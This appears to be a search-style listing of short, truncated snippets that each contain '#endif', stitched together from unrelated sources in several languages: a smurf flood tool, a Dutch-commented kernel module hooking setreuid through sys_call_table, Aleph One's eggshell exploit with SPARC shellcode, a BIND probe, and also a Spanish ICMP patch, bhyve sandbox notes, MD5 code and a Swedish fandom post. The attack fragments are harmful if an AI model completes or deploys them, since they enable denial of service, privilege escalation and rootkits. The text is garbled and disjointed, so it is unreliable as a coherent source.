#endif

... de <ctype.h> #include <time.h> #ifdef LINUX #define __FAVOR_BSD /* should be __FAVOUR_BSD ;) */ #ifndef _USE_BSD #define _USE_BSD #endif #endif #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netinet/udp.h> #ifdef LINUX #define FIX(n) htons(n) #else #define FIX(n) (n) #endif struct smurf_t { struct sockaddr_in sin; /* socket prot structure */ int s; /* socket */ int udp, icmp; /* icmp, udp booleans */ int rnd; /* Random dst port boolean */ int psize; /* packet size */ int num; /* number of packets to send */ int delay; /* delay betwe ...

... ] = { 0x35, 0x35, 0x35, 0x35, 0xff, 0xff, 0xff, 0xff }; Byte response[12]; init_card("/dev/ttyS1", pin); get_response(challenge, response); } #endif ------------ FIN ------------------------------------------------------------- File : getresponse.h ------------ Codigo Fuente --------------------------------------------------- #ifndef _GETRESPONSE_H #define _GETRESPONSE_H typedef unsigned char Byte; extern void init_card(char* devicename, Byte pin[8]); extern void get_response(Byte challenge[16], Byte response[12]); extern void set_timeout(int); #endif ------------ FIN ------------------------------------------------------------- File : READ ...

... aquina.. Esto lo haremos insertando la linea: printk(KERN_INFO "ICMP: pinged by %s, packetsize = %d \n",in_ntoa(saddr), icmp_param.data_len); tras el #endif. Es facil cambiar la seccion "Handle ICMP_ECHO" asi tu ordenador solo responder a los ICMP ECHO_REQUESTs que no sean muy voluminosos e ignorar los pings con paquetes de gran tamaño. icmp.patch static void icmp_echo(struct icmphdr *icmph, struct sk_buff *skb, struct device *dev, __u32 saddr, __u32 daddr, int len) { #ifndef CONFIG_IP_IGNORE_ECHO_REQUESTS struct icmp_bxm icmp_param; if (len <= 1000) { /* solo contestamos a los ping que lleven menos de 1k de datos */ icmp_param.icmph=*ic ...

... t main(int argc, char *argv[]) { . . . #ifndef WITHOUT_CAPSICUM . . . if (cap_enter() == -1 && errno != ENOSYS) errx(EX_OSERR, "cap_enter() failed"); #endif . . . } The sandbox specific code in bhyve is wrapped within the preprocessor directive 'WITHOUT_CAPSICUM', such that one can also build bhyve without capsicum support if needed. Searching for 'WITHOUT_CAPSICUM' in the codebase will give a fair understanding of the restrictions imposed on the bhyve process. The sandbox reduces capabilities of open file descriptors using cap_rights_limit(), and for file descriptors having CAP_IOCTL capability, cap_ioctls_limit() is used to whitelist the allowed ...

... TAG) struct f_name { unsigned char name[256]; struct f_name *next; }; #ifdef __alpha typedef unsigned int uint32; #else typedef unsigned long uint32; #endif struct MD5Context { uint32 buf[4]; uint32 bits[2]; unsigned char in[64]; }; void MD5Init(struct MD5Context *context); void MD5Update(struct MD5Context *context, unsigned char const *buf, unsigned len); void MD5Final(unsigned char digest[16], struct MD5Context *context); void MD5Transform(uint32 buf[4], uint32 const in[16]); typedef struct MD5Context MD5_CTX; #ifndef HIGHFIRST #define byteReverse(buf, len) #else void byteReverse(unsigned char *buf, unsigned longs); #ifndef ASM_MD5 void byteRever ...

... värda än annat drägg som man definierat bort från klicken. Sextants ledord är "Splittring! Misstänksamhet! Fraktionsverksamhet!" Kom med oss du med! #endif Den 19 juni skickade Ahrvid Engholm ut ett brev till sverifandomlistan, SKRIVA-listan och svenska skräckakademiens lista. Orsaken var att han hade sett en referens till en e-postlista kallad weirdwriters. När han ville gå med i den beviljade Rickard Berghorn, listans administratör, inte Ahrvid medlemskap. Nu vill jag inte gå djupare in på den specifika diskussionen mellan Rickard och Ahrvid än jag gjorde i ett inlägg på sverifandom-listan på natten mellan den 19 och 20 juni. Det jag vill diskut ...

... > #ifdef MODULE #include <linux/module.h> #include <linux/version.h> #else #define MOD_INC_USE_COUNT #define MOD_DEC_USE_COUNT #endif #include <linux/types.h> #include <linux/fs.h> #include <linux/mm.h> #include <linux/errno.h> #include <asm/segment.h> #include <sys/syscall.h> #include <unistd.h> #include <linux/unistd.h> int errno; /* Hier wordt een pointer gedefineerd die naar de oude setreuid */ int (*o_setreuid) (uid_t, uid_t); /* In de onderstaande array staan de systemcalls en pointers */ extern void *sys_call_table[]; int new_se ...

... \x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #endif eggshell.c /* * eggshell v1.0 * * Aleph One / aleph1@underground.org */ #include <stdlib.h> #include <stdio.h> #include "shellcode.h" #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 void usage(void); void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF ...

... h> #include <netdb.h> /* bulky shit for printing dnspkts need to link dnspkt.o from dnspkt.c too */ #ifdef DEBUG #include "dnspkt.h" #endif /* prototypes */ int lookup_host(struct sockaddr_in *ra, char *hn, unsigned short rp); void probe_bind(struct sockaddr_in ra); int talk(int sd, char *pkt, int pktl, char opc); int make_keypkt(char *pktbuf, char opc); void print_ver(char *host, int vul, char *buf); void handle_alarm(int signum); /* * here we simply check arguments, resolve the hostname given and * if all is well, initialize the radom seed and probe away. */ void main(argc, argv) int argc; char *argv[]; { struct s ...

... de <arpa/inet.h> #include <errno.h> #include <stdlib.h> #include <stdio.h> #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_SYS_TIME_H #include <sys/time.h> #endif #ifdef HAVE_SYS_SELECT_H #include<sys/select.h> #endif #ifdef HAVE_STRINGS_H #include<strings.h> #endif #ifdef HAVE_MALLOC_H #include <malloc.h> #endif #include <netdb.h> #include <string.h> #include <ctype.h> #include "wcommon.h" #define COMMANDSIZE 512 #define ARGSIZE 256 #define SWEEPDELAY 4 /* FUNCTIONS */ void msrand (unsigned int seed ); int mrand (void); unsigned int getkey(); vo ...